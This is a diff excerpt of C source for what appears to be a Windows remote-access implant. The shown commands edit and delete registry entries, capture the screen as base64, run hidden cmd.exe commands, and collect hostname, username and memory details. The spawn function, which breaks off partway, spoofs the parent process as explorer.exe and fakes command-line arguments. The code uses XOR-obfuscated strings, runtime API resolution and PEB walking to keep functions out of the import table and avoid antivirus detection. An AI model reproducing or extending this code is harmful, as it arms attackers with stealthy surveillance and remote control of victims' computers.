default: /* REG_SZ, REG_EXPAND_SZ */
|
||||
set_rc = RegSetValueExA(hk, valname, 0, type,
|
||||
(const BYTE *)value,
|
||||
(DWORD)(strlen(value) + 1));
|
||||
break;
|
||||
}
|
||||
|
||||
RegCloseKey(hk);
|
||||
|
||||
if (set_rc == ERROR_SUCCESS) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[reg] set %s\\%s (%s) = %s\n",
|
||||
keypath, valname, type_str, value);
|
||||
return 0;
|
||||
}
|
||||
snprintf(output_buf, output_size,
|
||||
"[reg] set failed: %ld\n", set_rc);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* delete a registry key or value */
|
||||
|
||||
int cmd_reg_delete(const char *keypath, const char *valname,
|
||||
char *output_buf, size_t output_size)
|
||||
{
|
||||
const char *subkey = NULL;
|
||||
HKEY hive = _hive(keypath, &subkey);
|
||||
if (!hive) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[reg] unknown hive in: %s\n", keypath);
|
||||
return -1;
|
||||
}
|
||||
|
||||
LONG rc;
|
||||
|
||||
if (!valname || !valname[0]) {
|
||||
/* delete the key itself */
|
||||
rc = RegDeleteKeyA(hive, subkey);
|
||||
if (rc == ERROR_SUCCESS) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[reg] deleted key: %s\n", keypath);
|
||||
return 0;
|
||||
}
|
||||
snprintf(output_buf, output_size,
|
||||
"[reg] RegDeleteKey failed: %ld\n", rc);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* delete specific value */
|
||||
HKEY hk;
|
||||
rc = RegOpenKeyExA(hive, subkey, 0, KEY_SET_VALUE, &hk);
|
||||
if (rc != ERROR_SUCCESS) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[reg] RegOpenKeyEx failed: %ld\n", rc);
|
||||
return -1;
|
||||
}
|
||||
|
||||
rc = RegDeleteValueA(hk, valname);
|
||||
RegCloseKey(hk);
|
||||
|
||||
if (rc == ERROR_SUCCESS) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[reg] deleted value: %s \\ %s\n", keypath, valname);
|
||||
return 0;
|
||||
}
|
||||
snprintf(output_buf, output_size,
|
||||
"[reg] RegDeleteValue failed: %ld\n", rc);
|
||||
return -1;
|
||||
}
|
||||
@@ -0,0 +1,236 @@
|
||||
#include "commands.h"
|
||||
#include "crypto.h"
|
||||
#include "evs_strings.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
/* ── Dynamic GDI/USER32 dispatch — removes screen-capture IAT fingerprint ─── */
|
||||
|
||||
typedef HDC (WINAPI *pGetDC_t) (HWND);
|
||||
typedef int (WINAPI *pReleaseDC_t) (HWND, HDC);
|
||||
typedef int (WINAPI *pGetDeviceCaps_t) (HDC, int);
|
||||
typedef HDC (WINAPI *pCreateCompatibleDC_t) (HDC);
|
||||
typedef HBITMAP(WINAPI *pCreateCompatibleBitmap_t)(HDC, int, int);
|
||||
typedef HGDIOBJ(WINAPI *pSelectObject_t) (HDC, HGDIOBJ);
|
||||
typedef BOOL (WINAPI *pBitBlt_t) (HDC,int,int,int,int,HDC,int,int,DWORD);
|
||||
typedef BOOL (WINAPI *pStretchBlt_t) (HDC,int,int,int,int,HDC,int,int,int,int,DWORD);
|
||||
typedef BOOL (WINAPI *pDeleteDC_t) (HDC);
|
||||
typedef BOOL (WINAPI *pDeleteObject_t) (HGDIOBJ);
|
||||
typedef HGDIOBJ(WINAPI *pGetStockObject_t) (int);
|
||||
typedef int (WINAPI *pSetStretchBltMode_t) (HDC, int);
|
||||
typedef BOOL (WINAPI *pSetBrushOrgEx_t) (HDC, int, int, POINT *);
|
||||
typedef int (WINAPI *pGetDIBits_t) (HDC,HBITMAP,UINT,UINT,LPVOID,LPBITMAPINFO,UINT);
|
||||
|
||||
typedef struct {
|
||||
pGetDC_t GetDC;
|
||||
pReleaseDC_t ReleaseDC;
|
||||
pGetDeviceCaps_t GetDeviceCaps;
|
||||
pCreateCompatibleDC_t CreateCompatibleDC;
|
||||
pCreateCompatibleBitmap_t CreateCompatibleBitmap;
|
||||
pSelectObject_t SelectObject;
|
||||
pBitBlt_t BitBlt;
|
||||
pStretchBlt_t StretchBlt;
|
||||
pDeleteDC_t DeleteDC;
|
||||
pDeleteObject_t DeleteObject;
|
||||
pGetStockObject_t GetStockObject;
|
||||
pSetStretchBltMode_t SetStretchBltMode;
|
||||
pSetBrushOrgEx_t SetBrushOrgEx;
|
||||
pGetDIBits_t GetDIBits;
|
||||
} ss_api_t;
|
||||
|
||||
static ss_api_t _ss = {0};
|
||||
|
||||
static int _ss_init(void)
|
||||
{
|
||||
if (_ss.BitBlt) return 0;
|
||||
|
||||
char _fn[32];
|
||||
|
||||
#define _DEC_GPA(dll, enc, dst) do { \
|
||||
EVS_D(_fn, enc); \
|
||||
(dst) = (void *)GetProcAddress(dll, _fn); \
|
||||
SecureZeroMemory(_fn, sizeof(enc) + 1); } while(0)
|
||||
|
||||
char _dll[12];
|
||||
EVS_D(_dll, EVS_dll_gdi32);
|
||||
HMODULE hg = LoadLibraryA(_dll);
|
||||
SecureZeroMemory(_dll, sizeof(_dll));
|
||||
|
||||
char _udll[12];
|
||||
EVS_D(_udll, EVS_dll_user32);
|
||||
HMODULE hu = LoadLibraryA(_udll);
|
||||
SecureZeroMemory(_udll, sizeof(_udll));
|
||||
|
||||
if (!hg || !hu) return -1;
|
||||
|
||||
_DEC_GPA(hu, EVS_fn_GetDC, _ss.GetDC);
|
||||
_DEC_GPA(hu, EVS_fn_ReleaseDC, _ss.ReleaseDC);
|
||||
_DEC_GPA(hg, EVS_fn_GetDeviceCaps, _ss.GetDeviceCaps);
|
||||
_DEC_GPA(hg, EVS_fn_CreateCompatibleDC, _ss.CreateCompatibleDC);
|
||||
_DEC_GPA(hg, EVS_fn_CreateCompatibleBitmap, _ss.CreateCompatibleBitmap);
|
||||
_DEC_GPA(hg, EVS_fn_SelectObject, _ss.SelectObject);
|
||||
_DEC_GPA(hg, EVS_fn_BitBlt, _ss.BitBlt);
|
||||
_DEC_GPA(hg, EVS_fn_StretchBlt, _ss.StretchBlt);
|
||||
_DEC_GPA(hg, EVS_fn_DeleteDC, _ss.DeleteDC);
|
||||
_DEC_GPA(hg, EVS_fn_DeleteObject, _ss.DeleteObject);
|
||||
_DEC_GPA(hg, EVS_fn_GetStockObject, _ss.GetStockObject);
|
||||
_DEC_GPA(hg, EVS_fn_SetStretchBltMode, _ss.SetStretchBltMode);
|
||||
_DEC_GPA(hg, EVS_fn_SetBrushOrgEx, _ss.SetBrushOrgEx);
|
||||
_DEC_GPA(hg, EVS_fn_GetDIBits, _ss.GetDIBits);
|
||||
#undef _DEC_GPA
|
||||
|
||||
return _ss.BitBlt ? 0 : -1;
|
||||
}
|
||||
|
||||
int cmd_screenshot(char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!output_buf || output_size < 128) return -1;
|
||||
output_buf[0] = '\0';
|
||||
|
||||
if (_ss_init() != 0) {
|
||||
snprintf(output_buf, output_size, "e:gdi\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
HDC hdc_screen = _ss.GetDC(NULL);
|
||||
if (!hdc_screen) {
|
||||
snprintf(output_buf, output_size,
|
||||
"e:dc %lu\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
int src_w = _ss.GetDeviceCaps(hdc_screen, HORZRES);
|
||||
int src_h = _ss.GetDeviceCaps(hdc_screen, VERTRES);
|
||||
if (src_w <= 0 || src_h <= 0) {
|
||||
_ss.ReleaseDC(NULL, hdc_screen);
|
||||
snprintf(output_buf, output_size, "e:caps\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
#define SS_MAX_BMP_BYTES (6u * 1024u * 1024u)
|
||||
int sw = src_w, sh = src_h;
|
||||
while ((size_t)(((sw * 3u + 3u) & ~3u)) * (size_t)sh > SS_MAX_BMP_BYTES) {
|
||||
sw = (sw * 3) / 4;
|
||||
sh = (sh * 3) / 4;
|
||||
if (sw < 320) { sw = 320; sh = 240; break; }
|
||||
}
|
||||
|
||||
HDC hdc_cap = _ss.CreateCompatibleDC(hdc_screen);
|
||||
if (!hdc_cap) {
|
||||
_ss.ReleaseDC(NULL, hdc_screen);
|
||||
snprintf(output_buf, output_size, "e:cdc\n");
|
||||
return -1;
|
||||
}
|
||||
HBITMAP hbmp_cap = _ss.CreateCompatibleBitmap(hdc_screen, src_w, src_h);
|
||||
if (!hbmp_cap) {
|
||||
_ss.DeleteDC(hdc_cap); _ss.ReleaseDC(NULL, hdc_screen);
|
||||
snprintf(output_buf, output_size, "e:cbm\n");
|
||||
return -1;
|
||||
}
|
||||
_ss.SelectObject(hdc_cap, hbmp_cap);
|
||||
_ss.BitBlt(hdc_cap, 0, 0, src_w, src_h, hdc_screen, 0, 0, SRCCOPY | CAPTUREBLT);
|
||||
_ss.ReleaseDC(NULL, hdc_screen);
|
||||
|
||||
HBITMAP hbmp_final;
|
||||
if (sw == src_w && sh == src_h) {
|
||||
_ss.SelectObject(hdc_cap, _ss.GetStockObject(NULL_BRUSH));
|
||||
hbmp_final = hbmp_cap;
|
||||
_ss.DeleteDC(hdc_cap);
|
||||
} else {
|
||||
HDC hdc_scale = _ss.CreateCompatibleDC(hdc_cap);
|
||||
hbmp_final = _ss.CreateCompatibleBitmap(hdc_cap, sw, sh);
|
||||
if (!hdc_scale || !hbmp_final) {
|
||||
if (hdc_scale) _ss.DeleteDC(hdc_scale);
|
||||
if (hbmp_final) _ss.DeleteObject(hbmp_final);
|
||||
_ss.SelectObject(hdc_cap, _ss.GetStockObject(NULL_BRUSH));
|
||||
_ss.DeleteObject(hbmp_cap); _ss.DeleteDC(hdc_cap);
|
||||
snprintf(output_buf, output_size, "e:sc\n");
|
||||
return -1;
|
||||
}
|
||||
HGDIOBJ old_sc = _ss.SelectObject(hdc_scale, hbmp_final);
|
||||
_ss.SetStretchBltMode(hdc_scale, HALFTONE);
|
||||
_ss.SetBrushOrgEx(hdc_scale, 0, 0, NULL);
|
||||
_ss.StretchBlt(hdc_scale, 0, 0, sw, sh,
|
||||
hdc_cap, 0, 0, src_w, src_h, SRCCOPY);
|
||||
_ss.SelectObject(hdc_scale, old_sc);
|
||||
_ss.DeleteDC(hdc_scale);
|
||||
_ss.SelectObject(hdc_cap, _ss.GetStockObject(NULL_BRUSH));
|
||||
_ss.DeleteObject(hbmp_cap);
|
||||
_ss.DeleteDC(hdc_cap);
|
||||
}
|
||||
|
||||
BITMAPINFOHEADER bih;
|
||||
memset(&bih, 0, sizeof(bih));
|
||||
bih.biSize = sizeof(BITMAPINFOHEADER);
|
||||
bih.biWidth = sw;
|
||||
bih.biHeight = sh;
|
||||
bih.biPlanes = 1;
|
||||
bih.biBitCount = 24;
|
||||
bih.biCompression = BI_RGB;
|
||||
|
||||
DWORD row_stride = (((DWORD)sw * 3u) + 3u) & ~3u;
|
||||
DWORD pixel_sz = row_stride * (DWORD)sh;
|
||||
bih.biSizeImage = pixel_sz;
|
||||
|
||||
uint8_t *pixels = (uint8_t *)calloc(1, pixel_sz);
|
||||
if (!pixels) {
|
||||
_ss.DeleteObject(hbmp_final);
|
||||
snprintf(output_buf, output_size, "e:px\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
HDC hdc_ref = _ss.GetDC(NULL);
|
||||
int lines = _ss.GetDIBits(hdc_ref, hbmp_final, 0, (UINT)sh, pixels,
|
||||
(BITMAPINFO *)&bih, DIB_RGB_COLORS);
|
||||
_ss.ReleaseDC(NULL, hdc_ref);
|
||||
_ss.DeleteObject(hbmp_final);
|
||||
|
||||
if (!lines) {
|
||||
free(pixels);
|
||||
snprintf(output_buf, output_size, "e:dib %lu\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
DWORD pixel_offset = 14u + (DWORD)sizeof(BITMAPINFOHEADER);
|
||||
DWORD bmp_sz = pixel_offset + pixel_sz;
|
||||
|
||||
uint8_t *bmp = (uint8_t *)malloc(bmp_sz);
|
||||
if (!bmp) {
|
||||
free(pixels);
|
||||
snprintf(output_buf, output_size, "e:bm\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
bmp[0] = 'B'; bmp[1] = 'M';
|
||||
memcpy(bmp + 2, &bmp_sz, 4);
|
||||
memset(bmp + 6, 0, 4);
|
||||
memcpy(bmp + 10, &pixel_offset, 4);
|
||||
memcpy(bmp + 14, &bih, sizeof(BITMAPINFOHEADER));
|
||||
memcpy(bmp + pixel_offset, pixels, pixel_sz);
|
||||
free(pixels);
|
||||
|
||||
char *b64 = base64_encode(bmp, bmp_sz);
|
||||
free(bmp);
|
||||
if (!b64) {
|
||||
snprintf(output_buf, output_size, "e:b64\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
int header_len = snprintf(output_buf, output_size, "ss:%dx%d\n", sw, sh);
|
||||
if (header_len < 0 || (size_t)header_len >= output_size) {
|
||||
free(b64);
|
||||
snprintf(output_buf, output_size, "e:hdr\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
size_t remaining = output_size - (size_t)header_len - 1;
|
||||
size_t b64_len = strlen(b64);
|
||||
if (b64_len > remaining) b64_len = remaining;
|
||||
|
||||
memcpy(output_buf + header_len, b64, b64_len);
|
||||
output_buf[header_len + b64_len] = '\0';
|
||||
free(b64);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,206 @@
|
||||
#include "commands.h"
|
||||
#include "evs_strings.h"
|
||||
#include "peb_walk.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
/* GetNativeSystemInfo — removes from IAT */
|
||||
typedef void (WINAPI *_GNS_t)(LPSYSTEM_INFO);
|
||||
static void _gns(LPSYSTEM_INFO si) {
|
||||
static _GNS_t fn = NULL;
|
||||
if (!fn) {
|
||||
char fs[22], ks[14]; volatile unsigned char xk = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_fn_GetNativeSystemInfo); i++) fs[i] = (char)(EVS_fn_GetNativeSystemInfo[i] ^ xk);
|
||||
fs[sizeof(EVS_fn_GetNativeSystemInfo)] = '\0';
|
||||
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
|
||||
ks[sizeof(EVS_dll_kernel32)] = '\0';
|
||||
HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
|
||||
if (m) fn = (_GNS_t)(void *)GetProcAddress(m, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
if (fn) fn(si);
|
||||
else GetSystemInfo(si);
|
||||
}
|
||||
|
||||
/* GetComputerNameA — removes from IAT */
|
||||
typedef BOOL (WINAPI *_SGCN_t)(LPSTR, LPDWORD);
|
||||
static BOOL _sgcna(LPSTR buf, LPDWORD sz) {
|
||||
static _SGCN_t fn = NULL;
|
||||
if (!fn) {
|
||||
char fs[20], ks[14]; volatile unsigned char xk = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_fn_GetComputerNameA); i++) fs[i] = (char)(EVS_fn_GetComputerNameA[i] ^ xk);
|
||||
fs[sizeof(EVS_fn_GetComputerNameA)] = '\0';
|
||||
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
|
||||
ks[sizeof(EVS_dll_kernel32)] = '\0';
|
||||
HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
|
||||
if (m) fn = (_SGCN_t)(void *)GetProcAddress(m, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
return fn ? fn(buf, sz) : FALSE;
|
||||
}
|
||||
|
||||
/* GlobalMemoryStatusEx — removes from IAT */
|
||||
typedef BOOL (WINAPI *_GMSE_t)(LPMEMORYSTATUSEX);
|
||||
static BOOL _gmse(LPMEMORYSTATUSEX p) {
|
||||
static _GMSE_t fn = NULL;
|
||||
if (!fn) {
|
||||
char fs[22], ks[14]; volatile unsigned char xk = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_fn_GlobalMemoryStatusEx); i++) fs[i] = (char)(EVS_fn_GlobalMemoryStatusEx[i] ^ xk);
|
||||
fs[sizeof(EVS_fn_GlobalMemoryStatusEx)] = '\0';
|
||||
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
|
||||
ks[sizeof(EVS_dll_kernel32)] = '\0';
|
||||
HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
|
||||
if (m) fn = (_GMSE_t)(void *)GetProcAddress(m, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
return fn ? fn(p) : FALSE;
|
||||
}
|
||||
|
||||
/* run a shell command via cmd.exe and capture stdout+stderr */
|
||||
int cmd_shell(const char *cmdline, char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!cmdline || !output_buf || output_size == 0) return -1;
|
||||
output_buf[0] = '\0';
|
||||
|
||||
/* create pipe for child output */
|
||||
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
|
||||
HANDLE pipe_rd = NULL, pipe_wr = NULL;
|
||||
if (!CreatePipe(&pipe_rd, &pipe_wr, &sa, 0)) return -1;
|
||||
|
||||
/* prevent read end from being inherited */
|
||||
if (!SetHandleInformation(pipe_rd, HANDLE_FLAG_INHERIT, 0)) {
|
||||
CloseHandle(pipe_rd); CloseHandle(pipe_wr);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* NUL as stdin so child doesn't block waiting for input */
|
||||
HANDLE hNull = CreateFileA("NUL", GENERIC_READ,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||||
&sa, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
/* XOR-obfuscated "cmd.exe" to avoid plaintext in .rdata */
|
||||
static const unsigned char k_cx[] = {0xdd,0xd3,0xda,0x90,0xdb,0xc6,0xdb}; /* XOR 0xbe */
|
||||
char cx[8] = {0};
|
||||
{ volatile unsigned char _x = 0xbe;
|
||||
for (int _i = 0; _i < (int)sizeof(k_cx); _i++) cx[_i] = k_cx[_i] ^ _x; }
|
||||
|
||||
volatile char redir[6]; /* " 2>&1" */
|
||||
redir[0]=0x20; redir[1]=0x32; redir[2]=0x3e; redir[3]=0x26; redir[4]=0x31; redir[5]=0x00;
|
||||
|
||||
char full_cmd[4096];
|
||||
snprintf(full_cmd, sizeof(full_cmd), "%s /C %s%s", cx, cmdline, (const char *)redir);
|
||||
memset(cx, 0, sizeof(cx));
|
||||
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
memset(&si, 0, sizeof(si));
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
|
||||
si.cb = sizeof(si);
|
||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
si.hStdOutput = pipe_wr;
|
||||
si.hStdError = pipe_wr;
|
||||
si.hStdInput = (hNull != INVALID_HANDLE_VALUE) ? hNull : NULL;
|
||||
|
||||
BOOL ok = CreateProcessA(NULL, full_cmd, NULL, NULL,
|
||||
TRUE, CREATE_NO_WINDOW,
|
||||
NULL, NULL, &si, &pi);
|
||||
if (hNull != INVALID_HANDLE_VALUE) CloseHandle(hNull);
|
||||
CloseHandle(pipe_wr);
|
||||
|
||||
if (!ok) {
|
||||
CloseHandle(pipe_rd);
|
||||
DWORD _err = GetLastError();
|
||||
/* "[e:%lu]\n" built at runtime */
|
||||
volatile char efmt[10];
|
||||
efmt[0]=0x5b; efmt[1]=0x65; efmt[2]=0x3a; efmt[3]=0x25;
|
||||
efmt[4]=0x6c; efmt[5]=0x75; efmt[6]=0x5d; efmt[7]=0x0a; efmt[8]=0x00;
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Wformat-nonliteral"
|
||||
snprintf(output_buf, output_size, (const char *)efmt, _err);
|
||||
#pragma GCC diagnostic pop
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* read output with 30s timeout */
|
||||
DWORD timeout_ms = 30000;
|
||||
DWORD start = GetTickCount();
|
||||
size_t offset = 0;
|
||||
DWORD bytes_read = 0;
|
||||
|
||||
while (offset < output_size - 1) {
|
||||
if (GetTickCount() - start > timeout_ms) break;
|
||||
|
||||
DWORD avail = 0;
|
||||
if (!PeekNamedPipe(pipe_rd, NULL, 0, NULL, &avail, NULL)) break;
|
||||
|
||||
if (avail == 0) {
|
||||
if (WaitForSingleObject(pi.hProcess, 0) == WAIT_OBJECT_0) break;
|
||||
Sleep(50);
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD to_read = avail;
|
||||
if (to_read > (DWORD)(output_size - 1 - offset))
|
||||
to_read = (DWORD)(output_size - 1 - offset);
|
||||
|
||||
if (!ReadFile(pipe_rd, output_buf + offset, to_read, &bytes_read, NULL)) break;
|
||||
offset += bytes_read;
|
||||
}
|
||||
|
||||
DWORD extra = 0;
|
||||
while (offset < output_size - 1 &&
|
||||
ReadFile(pipe_rd, output_buf + offset, 1, &extra, NULL) && extra > 0)
|
||||
offset += extra;
|
||||
|
||||
output_buf[offset] = '\0';
|
||||
|
||||
if (offset == 0)
|
||||
strncpy(output_buf, "(no output)", output_size - 1);
|
||||
|
||||
WaitForSingleObject(pi.hProcess, 5000);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pipe_rd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* collect basic system info */
|
||||
|
||||
int cmd_sysinfo(char *output_buf, size_t output_size)
|
||||
{
|
||||
char hostname[256] = {0};
|
||||
char username[128] = {0};
|
||||
DWORD sz;
|
||||
|
||||
sz = sizeof(hostname);
|
||||
_sgcna(hostname, &sz);
|
||||
sz = sizeof(username);
|
||||
GetUserNameA(username, &sz);
|
||||
|
||||
SYSTEM_INFO si;
|
||||
_gns(&si);
|
||||
|
||||
MEMORYSTATUSEX mem;
|
||||
memset(&mem, 0, sizeof(mem));
|
||||
mem.dwLength = sizeof(mem);
|
||||
_gmse(&mem);
|
||||
|
||||
snprintf(output_buf, output_size,
|
||||
"Hostname : %s\n"
|
||||
"Username : %s\n"
|
||||
"OS Arch : %s\n"
|
||||
"Processors: %lu\n"
|
||||
"RAM Total : %llu MB\n"
|
||||
"RAM Free : %llu MB\n",
|
||||
hostname,
|
||||
username,
|
||||
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ? "x64" : "x86",
|
||||
si.dwNumberOfProcessors,
|
||||
mem.ullTotalPhys / (1024*1024),
|
||||
mem.ullAvailPhys / (1024*1024));
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,260 @@
|
||||
#include "commands.h"
|
||||
#include "inject.h"
|
||||
#include "evs_strings.h"
|
||||
#include "peb_walk.h"
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define PP_CMDLINE_OFF 0x70 /* RTL_USER_PROCESS_PARAMETERS.CommandLine (x64) */
|
||||
#define PEB_PARAMS_OFF 0x20 /* PEB.ProcessParameters (x64) */
|
||||
|
||||
#ifndef NTSTATUS
|
||||
typedef LONG NTSTATUS;
|
||||
#endif
|
||||
|
||||
/* Dynamic ResumeThread — removes from IAT */
|
||||
static DWORD _rt(HANDLE h)
|
||||
{
|
||||
static DWORD (WINAPI *fn)(HANDLE) = NULL;
|
||||
if (!fn) {
|
||||
char fs[16], ks[16]; volatile unsigned char xk = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_fn_ResumeThread); i++) fs[i] = (char)(EVS_fn_ResumeThread[i] ^ xk);
|
||||
fs[sizeof(EVS_fn_ResumeThread)] = '\0';
|
||||
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
|
||||
ks[sizeof(EVS_dll_kernel32)] = '\0';
|
||||
HMODULE m = _peb_module(ks);
|
||||
SecureZeroMemory(ks, sizeof(ks));
|
||||
if (m) fn = (DWORD (WINAPI *)(HANDLE))GetProcAddress(m, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
return fn ? fn(h) : (DWORD)-1;
|
||||
}
|
||||
|
||||
typedef NTSTATUS (WINAPI *NtQIP_t)(HANDLE, DWORD, PVOID, ULONG, PULONG);
|
||||
typedef NTSTATUS (NTAPI *NtRVM_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
|
||||
typedef NTSTATUS (NTAPI *NtWVM_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
|
||||
|
||||
/* NtReadVirtualMemory — removes ReadProcessMemory from IAT */
|
||||
static NtRVM_t _get_nrvm(void) {
|
||||
static NtRVM_t fn = NULL;
|
||||
if (!fn) {
|
||||
char fs[24], ns[12]; volatile unsigned char k = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_fn_NtReadVirtualMemory); i++) fs[i] = (char)(EVS_fn_NtReadVirtualMemory[i] ^ k);
|
||||
fs[sizeof(EVS_fn_NtReadVirtualMemory)] = '\0';
|
||||
for (int i = 0; i < (int)sizeof(EVS_dll_ntdll); i++) ns[i] = (char)(EVS_dll_ntdll[i] ^ k);
|
||||
ns[sizeof(EVS_dll_ntdll)] = '\0';
|
||||
HMODULE m = _peb_module(ns); SecureZeroMemory(ns, sizeof(ns));
|
||||
if (m) fn = (NtRVM_t)(void *)GetProcAddress(m, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
return fn;
|
||||
}
|
||||
|
||||
/* NtWriteVirtualMemory — removes WriteProcessMemory from IAT */
|
||||
static NtWVM_t _get_nwvm(void) {
|
||||
static NtWVM_t fn = NULL;
|
||||
if (!fn) {
|
||||
char fs[24], ns[12]; volatile unsigned char k = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_fn_NtWriteVirtualMemory); i++) fs[i] = (char)(EVS_fn_NtWriteVirtualMemory[i] ^ k);
|
||||
fs[sizeof(EVS_fn_NtWriteVirtualMemory)] = '\0';
|
||||
for (int i = 0; i < (int)sizeof(EVS_dll_ntdll); i++) ns[i] = (char)(EVS_dll_ntdll[i] ^ k);
|
||||
ns[sizeof(EVS_dll_ntdll)] = '\0';
|
||||
HMODULE m = _peb_module(ns); SecureZeroMemory(ns, sizeof(ns));
|
||||
if (m) fn = (NtWVM_t)(void *)GetProcAddress(m, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
return fn;
|
||||
}
|
||||
|
||||
/* Minimal PROCESS_BASIC_INFORMATION */
|
||||
typedef struct {
|
||||
LONG_PTR ExitStatus;
|
||||
PVOID PebBaseAddress;
|
||||
ULONG_PTR AffinityMask;
|
||||
LONG_PTR BasePriority;
|
||||
ULONG_PTR UniqueProcessId;
|
||||
ULONG_PTR InheritedFromUniqueProcessId;
|
||||
} PBI;
|
||||
|
||||
static DWORD _find_explorer(void)
|
||||
{
|
||||
char _en[13]; volatile unsigned char _k = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_str_explorer_exe); i++) _en[i] = (char)(EVS_str_explorer_exe[i] ^ _k);
|
||||
_en[sizeof(EVS_str_explorer_exe)] = '\0';
|
||||
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) { SecureZeroMemory(_en, sizeof(_en)); return 0; }
|
||||
PROCESSENTRY32 pe = {sizeof(pe)};
|
||||
DWORD pid = 0;
|
||||
if (Process32First(snap, &pe)) do {
|
||||
if (_stricmp(pe.szExeFile, _en) == 0)
|
||||
{ pid = pe.th32ProcessID; break; }
|
||||
} while (Process32Next(snap, &pe));
|
||||
CloseHandle(snap);
|
||||
SecureZeroMemory(_en, sizeof(_en));
|
||||
return pid;
|
||||
}
|
||||
|
||||
int cmd_spawn(const char *exe_path, const char *fake_cmdline,
|
||||
const char *real_cmdline,
|
||||
char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!exe_path || !exe_path[0] || !fake_cmdline || !fake_cmdline[0]) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[spawn] usage: spawn <exe> <fake_args> [real_args]\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* build fake cmdline: pad so real cmdline fits in the same buffer */
|
||||
char fake_full[2048];
|
||||
snprintf(fake_full, sizeof(fake_full), "%s %s", exe_path, fake_cmdline);
|
||||
|
||||
size_t real_len = real_cmdline ? strlen(real_cmdline) : 0;
|
||||
size_t fake_len = strlen(fake_full);
|
||||
if (real_len > fake_len) {
|
||||
/* pad with spaces */
|
||||
size_t needed = real_len - fake_len;
|
||||
if (needed < sizeof(fake_full) - fake_len - 1) {
|
||||
for (size_t i = 0; i < needed; i++)
|
||||
fake_full[fake_len + i] = ' ';
|
||||
fake_full[fake_len + needed] = '\0';
|
||||
}
|
||||
}
|
||||
|
||||
/* PPID spoofing: use explorer.exe as parent */
|
||||
DWORD ppid = _find_explorer();
|
||||
|
||||
STARTUPINFOEXA si;
|
||||
memset(&si, 0, sizeof(si));
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.StartupInfo.wShowWindow = SW_HIDE;
|
||||
|
||||
SIZE_T attr_sz = 0;
|
||||
